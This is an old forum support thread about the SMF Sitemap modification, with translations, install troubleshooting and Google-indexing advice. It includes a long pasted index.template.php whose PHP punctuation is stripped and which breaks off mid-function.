I also use TP Articles for several pages of the site is there a way to include TP Articles in the sitemap?
Title: Re: SMF Sitemap
Post by: Hoochie Coochie Man on December 04, 2007, 06:23:33 AM
Thank you..
and these are Turkish language:

Modification.turkish.php
// SMF Sitemap Strings - by Hoochie coochie Man
$txt['sitemap'] = 'Site Haritası';
$txt['sitemap_boards'] = 'Bölümler';
$txt['sitemap_xml'] = 'Site Haritası XML linki Göster';
$txt['sitemap_topic_count'] = 'Site Haritasında Gösterilecek Maksimum Konu Sayısı';
$txt['sitemap_collapsible'] = 'Sitemap\'deki alt bölümlerinizi collopse yardımı ile açma-kapama';



Help.turkish.php
// SMF Sitemap Strings - by Hoochie coochie Man
$helptxt['sitemap_xml'] = 'Bu özelliği kapatırsanız, SiteMap\'deki XML linki sadece admine gözükür.  Bu özelliği açarsanız, herkes görebilir.';
$helptxt['sitemap_topic_count'] = 'Bu sitemap\'de gösterilecek maksimum konu sayısıdır.  Varsayılan 20000 (200 sayfa).';
$helptxt['sitemap_collapsible'] = 'Bu özelliği açarsanız, alt bölümlerinizi collapse yardımı ile açıp kapatabilirsiniz.  Birçok alt bölümü sitelerde kullanışlı olabilir.';



Who.turkish.php
$txt['whoall_sitemap'] = '<a href="' . $scripturl . '?action=sitemap">Site Haritası</a>\'na bakıyor.';
Title: Re: SMF Sitemap
Post by: Farmacija on December 05, 2007, 09:01:33 AM
Quote from: ortiz on October 02, 2007, 11:00:58 AM


this link helped me very much. But now i have an strange MySQL error. When I do "click" in "Sitemap" link, SMF returns me this error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6
Archivo: [path to forum folder]/Sources/Sitemap.php
Línea: 40


I followed step by step install.xml. What can i do ?

Thanks
SAME here.
Title: Re: SMF Sitemap
Post by: SlammedDime on December 05, 2007, 12:06:44 PM
What is the error that appears in your forum error log? Looks like you didn't either run add_settings.php if you manually installed, or the file was never run by the installer to put the information needed into the database.
Title: Re: SMF Sitemap
Post by: Farmacija on December 06, 2007, 06:42:28 AM
yes it was manually added.
i disable error log.
Title: Re: SMF Sitemap
Post by: Biff on December 08, 2007, 11:20:09 PM
I use TP Articles for several pages of the site is there a way to include TP Articles in the sitemap?
Title: Re: SMF Sitemap
Post by: SlammedDime on December 09, 2007, 01:41:48 PM
Currently there isnt anyway to include these into the sitemap.  I can look into it for a next release though.
Title: Re: SMF Sitemap
Post by: tiger5226 on December 18, 2007, 12:48:31 AM
Hey guys...I think I am having a problem. I recently realized that I was not SEO. So I installed this mod and another to add meta tags. Now the meta tag one is work great google picked it right up. But this one with the sitemap is not doing too good from what I know. Now google is only indexing my homepage and none of my content. I have over 320 URL's and just my homepage is indexed. Why? Is there a problem with the sitemap. I uploaded it to google webmaster tools and its says there are no problems with my sitemap. But why is it not indexed? Now I have waited and google has crawled my site 4 times already and not once indexing any other page but my homepage. I could get a lot more traffic if all of my pages were indexed.

Any suggestions?

My site is www.freegeeksupport.com

Mark
Title: Re: SMF Sitemap
Post by: SlammedDime on December 18, 2007, 03:53:31 AM
A common misconception is that a sitemap will get you indexed in Google.  That is untrue.  As I have explained in prior posts in this topic, a sitemap only lets google know what pages are available to index.  Whether Google indexes them or not depends on their discretion and if there is any worthwhile content and so on and so forth.  There is no guarantee that simply having a sitemap will get you into the rankings.

Also, google has plenty and plenty of your pages... (hell, the sitemap is Number 4 there... heh) http://www.google.com/search?hl=en&safe=off&q=site%3Afreegeeksupport.com%2F&btnG=Search

I think the 'problem' may lie in the fact that you send people to www.freegeeksupport.com, but you've set your board up as freegeeksupport.com (lacking the leading www.). This DOES make a difference.
Title: Re: SMF Sitemap
Post by: tiger5226 on December 18, 2007, 09:39:13 AM
Thanks for the great answer!! I was doing it with "www." I did not know all those pages were indexed! I am happy.
Title: Re: SMF Sitemap
Post by: A2xA on December 25, 2007, 06:57:27 PM
whenever I try to install it I get:

Execute Modification     ./index.php     Test successful
Execute Modification    ./Sources/ModSettings.php    Test successful
Execute Modification    ./Themes/default/index.template.php    Test failed
Execute Modification    ./Themes/default/languages/Help.english.php    Test successful
Execute Modification    ./Themes/default/languages/Modifications.english.php    Test successful
Execute Modification    ./Themes/default/languages/Who.english.php    Test successful
Execute Modification    ./Themes/default/style.css    Test successful
Extract File    ./Sources/Sitemap.php    
Extract File    ./Themes/default/Sitemap.template.php    
Execute Code    add_settings.php


Installed Mods:

TinyPortal      0.983      
YouTube BBCode    1.4    
SMF Arcade    2.0.11    
FlashChat Integration    1.0    
Ultimate Profile    0.7.1    
Googlebot & Spiders Mod 2.0.3    
SMF Sitemap    1.2.1    (trying to install)
cbi, 1.0


index.template.php:

<?php
// Version: 1.1; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '1.1';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status seperate from topic icons? */
$settings['seperate_sticky_lock'] = true;
}

// The main sub template above the content.
function template_main_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
<meta name="description" content="'
$context['page_title'], '" />', empty($context['robot_no_index']) ? '' '
<meta name="robots" content="noindex" />'
'
<meta name="keywords" content="PHP, MySQL, bulletin, board, free, open, source, smf, simple, machines, forum" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/script.js?fin11"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
var smf_iso_case_folding = '
$context['server']['iso_case_folding'] ? 'true' 'false'';
var smf_charset = "'
$context['character_set'], '";
// ]]></script>
<title>'
$context['page_title'], '</title>';

// The ?fin11 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style.css?fin11" />
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/print.css?fin11" media="print" />';

/* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...)
Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual.
Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big.
Standards compliance mode happens when you use xhtml... */
if ($context['browser']['needs_size_fix'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/fonts-compat.css" />';

// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" target="_blank" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="' 
$scripturl '?board=' $context['current_board'] . '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
$options['collapse_header'] = !empty($_COOKIE['upshrink']);

// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '
        <script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
                var current_leftbar = '
, empty($options['collapse_leftbar']) ? 'false' 'true'';

                function shrinkHeaderLeftbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        smf_setThemeOption("collapse_leftbar", mode ? 1 : 0, null, "'
$context['session_id'], '");';
        echo 
'
                        document.getElementById("upshrinkLeftbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

                        document.getElementById("leftbarHeader").style.display = mode ? "none" : "";

                        current_leftbar = mode;
                }
          // ]]></script>
       <script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
                var current_rightbar = '
, empty($options['collapse_rightbar']) ? 'false' 'true'';

                function shrinkHeaderRightbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        smf_setThemeOption("collapse_rightbar", mode ? 1 : 0, null, "'
$context['session_id'], '");';

        echo 
'
                        document.getElementById("upshrinkRightbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

                        document.getElementById("rightbarHeader").style.display = mode ? "none" : "";

                        current_rightbar = mode;
                }
        // ]]></script>

<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header = '
, empty($options['collapse_header']) ? 'false' 'true'';

function shrinkHeader(mode)
{'
;

// Guests don't have theme options!!
if ($context['user']['is_guest'])
echo '
document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

document.getElementById("upshrinkHeader").style.display = mode ? "none" : "";
document.getElementById("upshrinkHeader2").style.display = mode ? "none" : "";

current_header = mode;
}
// ]]></script>'
;

// the routine for the info center upshrink
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header_ic = '
, empty($options['collapse_header_ic']) ? 'false' 'true'';

function shrinkHeaderIC(mode)
{'
;

if ($context['user']['is_guest'])
echo '
document.cookie = "upshrinkIC=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header_ic", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink_ic").src = smf_images_url + (mode ? "/expand.gif" : "/collapse.gif");

document.getElementById("upshrinkHeaderIC").style.display = mode ? "none" : "";

current_header_ic = mode;
}
// ]]></script>
</head>
<body>'
;
// TinyPortal start
     
if($context['TPortal']['fixed_width']!=0)
             echo 
'<table align="center" width="'.$context['TPortal']['fixed_width'].'" cellpadding="0" cellspacing="0" border="0"><tr><td>';

// TinyPortal end

echo '
<div class="tborder" '
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' style="width: 100%;"' '''>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="catbg" height="32">'
;

if (empty($settings['header_logo_url']))
echo '
<span style="font-family: Verdana, sans-serif; font-size: 140%; ">'
$context['forum_name'], '</span>';
else
echo '
<img src="'
$settings['header_logo_url'], '" style="margin: 4px;" alt="'$context['forum_name'], '" />';

echo '
</td>
<td align="right" class="catbg">
<img src="'
$settings['images_url'], '/smflogo.gif" style="margin: 2px;" alt="" />
</td>
</tr>
</table>'
;


// TinyPortal
     
if($context['TPortal']['showtop']==1)
     {
// TinyPortal end
// display user name
echo '
<table width="100%" cellpadding="0" cellspacing="0" border="0" >
<tr>'
;

if($context['user']['is_logged'])
echo '
<td class="titlebg2" height="32">
<span style="font-size: 130%;"> '
$txt['hello_member_ndt'], ' <b>'$context['user']['name'] , '</b></span>
</td>'
;

// display the time
echo '
<td class="titlebg2" height="32" align="right">
<span class="smalltext">' 
$context['current_time'], '</span>';

// this is the upshrink button for the user info section
echo '
<a href="#" onclick="shrinkHeader(!current_header); return false;"><img id="upshrink" src="'
$settings['images_url'], '/', empty($options['collapse_header']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" align="bottom" style="margin: 0 1ex;" /></a>
</td>
</tr>
<tr id="upshrinkHeader"'
, empty($options['collapse_header']) ? '' ' style="display: none;"''>
<td valign="top" colspan="2">
<table width="100%" class="bordercolor" cellpadding="8" cellspacing="1" border="0" style="margin-top: 1px;">
<tr>'
;

if (!empty($context['user']['avatar']))
echo '
<td class="windowbg" valign="middle">'
$context['user']['avatar']['image'], '</td>';

echo '
<td colspan="2" width="100%" valign="top" class="windowbg2"><span class="middletext">'
;

// If the user is logged in, display stuff like their name, new messages, etc.
if ($context['user']['is_logged'])
{
echo '
<a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a> <br />
<a href="'
$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a><br />';

}
// Otherwise they're a guest - send them a lovely greeting...
else
echo $txt['welcome_guest'];

// Now, onto our second set of info, are they logged in again?
if ($context['user']['is_logged'])
{
// Is the forum in maintenance mode?
if ($context['in_maintenance'] && $context['user']['is_admin'])
echo '
<b>'
$txt[616], '</b><br />';

// Are there any members waiting for approval?
if (!empty($context['unapproved_members']))
echo '
'
$context['unapproved_members'] == $txt['approve_thereis'] : $txt['approve_thereare'], ' <a href="'$scripturl'?action=viewmembers;sa=browse;type=approve">'$context['unapproved_members'] == $txt['approve_member'] : $context['unapproved_members'] . ' ' $txt['approve_members'], '</a> '$txt['approve_members_waiting'], '<br />';

// Show the total time logged in?
if (!empty($context['user']['total_time_logged_in']))
{
echo '
'
$txt['totalTimeLogged1'];

// If days is just zero, don't bother to show it.
if ($context['user']['total_time_logged_in']['days'] > 0)
echo $context['user']['total_time_logged_in']['days'] . $txt['totalTimeLogged2'];

// Same with hours - only show it if it's above zero.
if ($context['user']['total_time_logged_in']['hours'] > 0)
echo $context['user']['total_time_logged_in']['hours'] . $txt['totalTimeLogged3'];

// But, let's always show minutes - Time wasted here: 0 minutes ;).
echo $context['user']['total_time_logged_in']['minutes'], $txt['totalTimeLogged4'], '<br />';
}

// --- Begin FlashChat Integration ---
// Do we need to display a list of the users in the chat?
// Are there users online?
if (!empty($modSettings['fc_showUsers']) && !empty($context['users_chat']))
echo '
'
$txt['fc_users_online'], ': 'implode(', '$context['list_users_chat']), '<br />';
// --- End FlashChat Integration ---
echo ' </span>';
}
// Otherwise they're a guest - this time ask them to either register or login - lazy bums...
else
{
echo ' </span>
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/sha1.js"></script>

<form action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" class="middletext" style="margin: 3px 1ex 1px 0;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
<input type="text" name="user" size="10" /> <input type="password" name="passwrd" size="10" />
<select name="cookielength">
<option value="60">'
$txt['smf53'], '</option>
<option value="1440">'
$txt['smf47'], '</option>
<option value="10080">'
$txt['smf48'], '</option>
<option value="43200">'
$txt['smf49'], '</option>
<option value="-1" selected="selected">'
$txt['smf50'], '</option>
</select>
<input type="submit" value="'
$txt[34], '" /><br />
<span class="middletext">'
$txt['smf52'], '</span>
<input type="hidden" name="hash_passwrd" value="" />
</form>'
;
}

echo '
</td>
</tr>
</table>
</td>
</tr>
</table>'
;

echo '
<table id="upshrinkHeader2"'
, empty($options['collapse_header']) ? '' ' style="display: none;"'' width="100%" cellpadding="4" cellspacing="0" border="0">
<tr>'
;

// Show a random news item? (or you could pick one from news_lines...)
if (!empty($settings['enable_news']))
echo '
<td width="90%" class="titlebg2">
<span class="smalltext"><b>'
$txt[102], '</b>: '$context['random_news_line'], '</span>
</td>'
;
echo '
<td class="titlebg2" align="right" nowrap="nowrap" valign="top">
<form action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '" style="margin: 0;">
<a href="'
$scripturl'?action=search;advanced"><img src="'.$settings['images_url'].'/filter.gif" align="middle" style="margin: 0 1ex;" alt="" /></a>
<input type="text" name="search" value="" style="width: 190px;" />&nbsp;
<input type="submit" name="submit" value="'
$txt[182], '" style="width: 11ex;" />
<input type="hidden" name="advanced" value="0" />'
;

// Search within current topic?
if (!empty($context['current_topic']))
echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';

// If we're on a certain board, limit it to this board ;).
elseif (!empty($context['current_board']))
echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

echo '
</form>
</td>
</tr>
</table>
'
;
// TinyPortal
       
}
//  end
echo '
</div>'
;


// Show the menu here, according to the menu sub template.
template_menu();


// The main content should go here.  A table is used because IE 6 just can't handle a div.
echo '
<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr>'
;

// TinyPortal integrated bars
          
if($context['TPortal']['leftbar'])
          {
              echo 
'<td width="' ,$context['TPortal']['leftbar_width'], '" style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; padding-top: 4px;padding-right: 1ex;" valign="top">
                 <div id="leftbarHeader"'
, empty($options['collapse_leftbar']) ? '' ' style="display: none;"'' style="padding-top: 5px; width: ' ,$context['TPortal']['leftbar_width'], 'px;">';
                 
TPortal_sidebar('left');
              echo 
'</div></td>';

          }

        echo 
'<td width="100%" align="left" valign="top" style="padding-top: 10px; padding-bottom: 10px;">';
        if(
$context['TPortal']['centerbar'])
                     echo 
'<div>' TPortal_sidebar('center') , '</div>';
}

function 
template_main_below()
{
global $context$settings$options$scripturl$txt;

   echo 
'</td>';

         
// TinyPortal integrated bars
          
if($context['TPortal']['rightbar']){
              echo 
'<td style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; padding-top: 4px; padding-left: 1ex;" valign="top" align="right">
                 <div id="rightbarHeader"'
, empty($options['collapse_rightbar']) ? '' ' style="display: none;"'' style="width: ' ,$context['TPortal']['rightbar_width'], 'px; text-align: left; padding-top: 5px;">';
              
TPortal_rightbar();
              echo 
'</div></td>';
          }

        echo 
'</tr></table>';


// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '

<div id="footerarea" style="text-align: center; padding-bottom: 1ex;'
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' width: 100%;' '''">
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
function smfFooterHighlight(element, value)
{
element.src = smf_images_url + "/" + (value ? "h_" : "") + element.id + ".gif";
}
// ]]></script>
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="'
, !$context['right_to_left'] ? 'right' 'left''">
<a href="http://www.mysql.com/" target="_blank"><img id="powered-mysql" src="'
$settings['images_url'], '/powered-mysql.gif" alt="'$txt['powered_by_mysql'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://www.php.net/" target="_blank"><img id="powered-php" src="'
$settings['images_url'], '/powered-php.gif" alt="'$txt['powered_by_php'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
                           <td valign="middle" align="center" style="white-space: nowrap;" class="smalltext">
                                        '
theme_copyright(), ' <br />'tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="'
, !$context['right_to_left'] ? 'left' 'right''">
<a href="http://validator.w3.org/check/referer" target="_blank"><img id="valid-xhtml10" src="'
$settings['images_url'], '/valid-xhtml10.gif" alt="'$txt['valid_xhtml'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"><img id="valid-css" src="'
$settings['images_url'], '/valid-css.gif" alt="'$txt['valid_css'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
</tr>
</table>'
;

// Show the load time?
if ($context['show_load_time'])
echo '
<span class="smalltext">'
$txt['smf301'], $context['load_time'], $txt['smf302'], $context['load_queries'], $txt['smf302b'], '</span>';

if (isset($context['ob_googlebot_stats']))
echo '
<br /><br /><span class="smalltext">'
$txt['ob_googlebot_stats_lastvisit'], timeformat($context['ob_googlebot_stats']['Googlebot']['lastvisit']), '</span>';

// This is an interesting bug in Internet Explorer AND Safari. Rather annoying, it makes overflows just not tall enough.
if (($context['browser']['is_ie'] && !$context['browser']['is_ie4']) || $context['browser']['is_mac_ie'] || $context['browser']['is_safari'] || $context['browser']['is_firefox'])
{
// The purpose of this code is to fix the height of overflow: auto div blocks, because IE can't figure it out for itself.
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA['
;

// Unfortunately, Safari does not have a "getComputedStyle" implementation yet, so we have to just do it to code...
if ($context['browser']['is_safari'])
echo '
window.addEventListener("load", smf_codeFix, false);

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if ((codeFix[i].className == "code" || codeFix[i].className == "post" || codeFix[i].className == "signature") && codeFix[i].offsetHeight < 20)
codeFix[i].style.height = (codeFix[i].offsetHeight + 20) + "px";
}
}'
;
elseif ($context['browser']['is_firefox'])
echo '
window.addEventListener("load", smf_codeFix, false);
function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if (codeFix[i].className == "code" && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0))
codeFix[i].style.overflow = "scroll";
}
}'
;
else
echo '
var window_oldOnload = window.onload;
window.onload = smf_codeFix;

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = codeFix.length - 1; i > 0; i--)
{
if (codeFix[i].currentStyle.overflow == "auto" && (codeFix[i].currentStyle.height == "" || codeFix[i].currentStyle.height == "auto") && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0) && (codeFix[i].offsetHeight != 0 || codeFix[i].className == "code"))
codeFix[i].style.height = (codeFix[i].offsetHeight + 36) + "px";
}

if (window_oldOnload)
{
window_oldOnload();
window_oldOnload = null;
}
}'
;

echo '
// ]]></script>'
;
}

echo '
</div>'
;

// The following will be used to let the user know that some AJAX process is running
echo '
<div id="ajax_in_progress" style="display: none;'
$context['browser']['is_ie'] && !$context['browser']['is_ie7'] ? 'position: absolute;' '''">'$txt['ajax_in_progress'], '</div>
'
;
// TinyPortal
     
if($context['TPortal']['fixed_width']!=0)
             echo 
'</td></tr></table>';
// end
echo '
</body></html>'
;
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree()
{
global $context$settings$options;

echo '<div class="nav" style="font-size: smaller; margin-bottom: 2ex; margin-top: 2ex;">';

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav">' $tree['name'] . '</a>' $tree['name'], '</b>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;>&nbsp;';
}

echo '</div>';
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

// Work out where we currently are.
$current_action 'home';
if (in_array($context['current_action'], array('admin''managegames''arcadesettings''arcadecategory''ban''boardrecount''cleanperms''detailedversion''dumpdb''featuresettings''featuresettings2''findmember''maintain''manageattachments''manageboards''managecalendar''managesearch''membergroups''modlog''news''optimizetables''packageget''packages''permissions''pgdownload''postsettings''regcenter''repairboards''reports''serversettings''serversettings2''smileys''viewErrorLog''viewmembers')))
$current_action 'admin';
if (in_array($context['current_action'], array('search''arcade''admin''calendar''profile''mlist''register''login''help''pm''forum''tpadmin')))
$current_action $context['current_action'];
if ($context['current_action'] == 'search2')
$current_action 'search';

if (isset($_GET['dl']))
$current_action 'dlmanager';

if (isset($_GET['board']) || isset($_GET['topic']))
$current_action 'forum';

if ($context['current_action'] == 'theme')
$current_action = isset($_REQUEST['sa']) && $_REQUEST['sa'] == 'pick' 'profile' 'admin';

if ($context['current_action'] == 'chat')
$current_action 'chat';

// Are we using right-to-left orientation?
if ($context['right_to_left'])
{
$first 'last';
$last 'first';
}
else
{
$first 'first';
$last 'last';
}

// Show the start of the tab section.
echo '
<table cellpadding="0" cellspacing="0" border="0" style="margin-left: 10px;">
<tr>
<td class="maintab_' 
$first '">&nbsp;</td>';

// Show the [home] button.
echo ($current_action=='home' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'home' 'active_back' 'back' '">
<a href="'
$scripturl'">' $txt[103] , '</a>
</td>' 
$current_action == 'home' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

if(
$settings['TPortal_front_type']!='boardindex')
// Show the [forum] button.
echo ($current_action=='forum' || $context['browser']['is_ie4']) ? '<td class="maintab_active_first">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action=='forum' 'active_back' 'back' '">
<a href="'
$scripturl'?action=forum">'.$txt['tp-forum'].'</a>
</td>' 
$current_action=='forum' '<td class="maintab_active_last">&nbsp;</td>' '';
// Show the [help] button.
echo ($current_action == 'help' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'help' 'active_back' 'back' '">
<a href="'
$scripturl'?action=help">' $txt[119] , '</a>
</td>' 
$current_action == 'help' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

    echo ($current_action == 'arcade' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'arcade' 'active_back' 'back' '">
<a href="'
$scripturl'?action=arcade">' $txt['arcade'] , '</a>
</td>' 
$current_action == 'arcade' '<td class="maintab_active_' $last '">&nbsp;</td>' '';// How about the [search] button?
if ($context['allow_search'])
echo ($current_action == 'search' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'search' 'active_back' 'back' '">
<a href="'
$scripturl'?action=search">' $txt[182] , '</a>
</td>' 
$current_action == 'search' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// Is the user allowed to administrate at all? ([admin])
if ($context['allow_admin'])
echo ($current_action == 'admin' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'admin' 'active_back' 'back' '">
<a href="'
$scripturl'?action=admin">' $txt[2] , '</a>
</td>' 
$current_action == 'admin' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// Edit Profile... [profile]
if ($context['allow_edit_profile'])
echo ($current_action == 'profile' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'profile' 'active_back' 'back' '">
<a href="'
$scripturl'?action=profile">' $txt[79] , '</a>
</td>' 
$current_action == 'profile' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// Go to PM center... [pm]
if ($context['user']['is_logged'] && $context['allow_pm'])
echo ($current_action == 'pm' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'pm' 'active_back' 'back' '">
<a href="'
$scripturl'?action=pm">' $txt['pm_short'] , ' '$context['user']['unread_messages'] > '[<strong>'$context['user']['unread_messages'] . '</strong>]' '' '</a>
</td>' 
$current_action == 'pm' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// The [calendar]!
if ($context['allow_calendar'])
echo ($current_action == 'calendar' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'calendar' 'active_back' 'back' '">
<a href="'
$scripturl'?action=calendar">' $txt['calendar24'] , '</a>
</td>' 
$current_action == 'calendar' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// FlashChat!
global $modSettings;
if ($context['user']['is_logged'])
